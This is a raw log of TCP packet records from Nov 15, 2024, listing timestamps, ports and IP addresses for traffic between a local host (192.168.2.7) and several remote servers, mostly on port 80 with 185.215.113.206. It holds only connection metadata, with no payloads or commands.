Nov 15, 2024 09:55:42.903742075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.903753996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.903755903 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.903765917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.903783083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.903809071 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.905864000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.905889034 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.905901909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.905920029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.905934095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.905952930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.905953884 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.905967951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.905980110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.906006098 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.906033993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.911242008 CET	49938	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:42.911247015 CET	49941	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:42.911273956 CET	443	49941	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:42.928867102 CET	443	49945	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.928936005 CET	443	49945	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.929019928 CET	49945	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.929265976 CET	49945	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.929286957 CET	443	49945	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.929300070 CET	49945	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.929305077 CET	443	49945	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.932748079 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.932795048 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.932881117 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.933088064 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.933104038 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.960654974 CET	443	49938	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:42.995512009 CET	443	49938	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:42.995620012 CET	49938	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:42.997109890 CET	49938	443	192.168.2.7	20.125.209.212
Nov 15, 2024 09:55:42.997132063 CET	443	49938	20.125.209.212	192.168.2.7
Nov 15, 2024 09:55:43.020596981 CET	49941	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.020622969 CET	443	49941	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.021718979 CET	49941	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.021816969 CET	443	49941	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.021873951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.021881104 CET	49941	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.021912098 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.021929026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.021939039 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.021959066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.021974087 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.021974087 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.021977901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.021996975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022012949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022018909 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022030115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022047997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022058964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022064924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022082090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022082090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022099972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022103071 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022119045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022128105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022136927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022145033 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022155046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022162914 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022178888 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022180080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022192001 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022211075 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022227049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022243023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022258997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022264957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022277117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022288084 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022293091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022310972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022317886 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022327900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022340059 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022356987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022358894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022371054 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022377014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022393942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022401094 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022412062 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022414923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022428036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022432089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022448063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022450924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022464991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022471905 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022511005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022521973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022547007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022562981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022567987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022579908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022586107 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022598982 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022604942 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022617102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022619009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022634983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022638083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022654057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022656918 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022671938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022674084 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022690058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022691965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022707939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022711992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022726059 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022728920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022743940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022752047 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022762060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022763014 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022782087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022783995 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022797108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022810936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022811890 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022829056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022845030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022861958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022870064 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022878885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022890091 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022896051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022912979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022914886 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022929907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022938967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022953033 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.022964001 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.022989988 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024374008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024413109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024440050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024457932 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024473906 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024482012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024502039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024518967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024533987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024537086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024550915 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024569988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024589062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024600029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024605989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024625063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024631023 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024647951 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024668932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024704933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024724007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024739981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024751902 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024759054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024766922 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024776936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024784088 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024795055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024804115 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024815083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024822950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024838924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024848938 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024857998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024872065 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024876118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024893999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024904013 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024912119 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024913073 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024930954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024934053 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024950027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024954081 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024967909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.024971008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024992943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.024997950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025005102 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025017023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025032997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025052071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025058031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025069952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025079012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025087118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025094986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025105000 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025116920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025120020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025131941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025145054 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025149107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025166035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025173903 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025182962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025198936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025201082 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025217056 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025217056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025234938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025242090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025254011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025259018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025271893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025280952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025290966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.025298119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025315046 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.025331020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.027627945 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.027672052 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.028553963 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.028790951 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.028810978 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.031584978 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.032217979 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.032238007 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.032581091 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.033780098 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.033873081 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.034024000 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.039999008 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.040096045 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.040333033 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.040349960 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.040456057 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.040462971 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.041382074 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.041450977 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.041486025 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.041543007 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.041776896 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.041830063 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.042053938 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.042107105 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.042190075 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.042196035 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.042249918 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.042256117 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.050693035 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.051211119 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.051275015 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.051292896 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.051593065 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.051605940 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.052359104 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.052454948 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.052809954 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.052871943 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.053054094 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.053152084 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.053152084 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.053162098 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.053572893 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.053651094 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.054959059 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.072053909 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.072560072 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.072582960 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.073616028 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.073683977 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.074198008 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.074255943 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.074455976 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:43.074465036 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.079328060 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.099337101 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:43.140162945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140183926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140194893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140254974 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140265942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140279055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140292883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140295029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140302896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140347958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140496016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140539885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140546083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140552044 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140587091 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140625954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140636921 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140649080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140661001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140676975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140691042 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140714884 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140743017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140758038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140769958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140804052 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140810013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140816927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140825987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140836954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140856028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140867949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140880108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140892029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140892982 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140928984 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140938997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.140985966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.140997887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141009092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141019106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141031027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141037941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141041040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141056061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141064882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141074896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141079903 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141096115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141103029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141103983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141129017 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141140938 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.141180992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141181946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141184092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141191959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141197920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141210079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.141238928 CET	49872	80	192.168.2.7	185.215.113.206
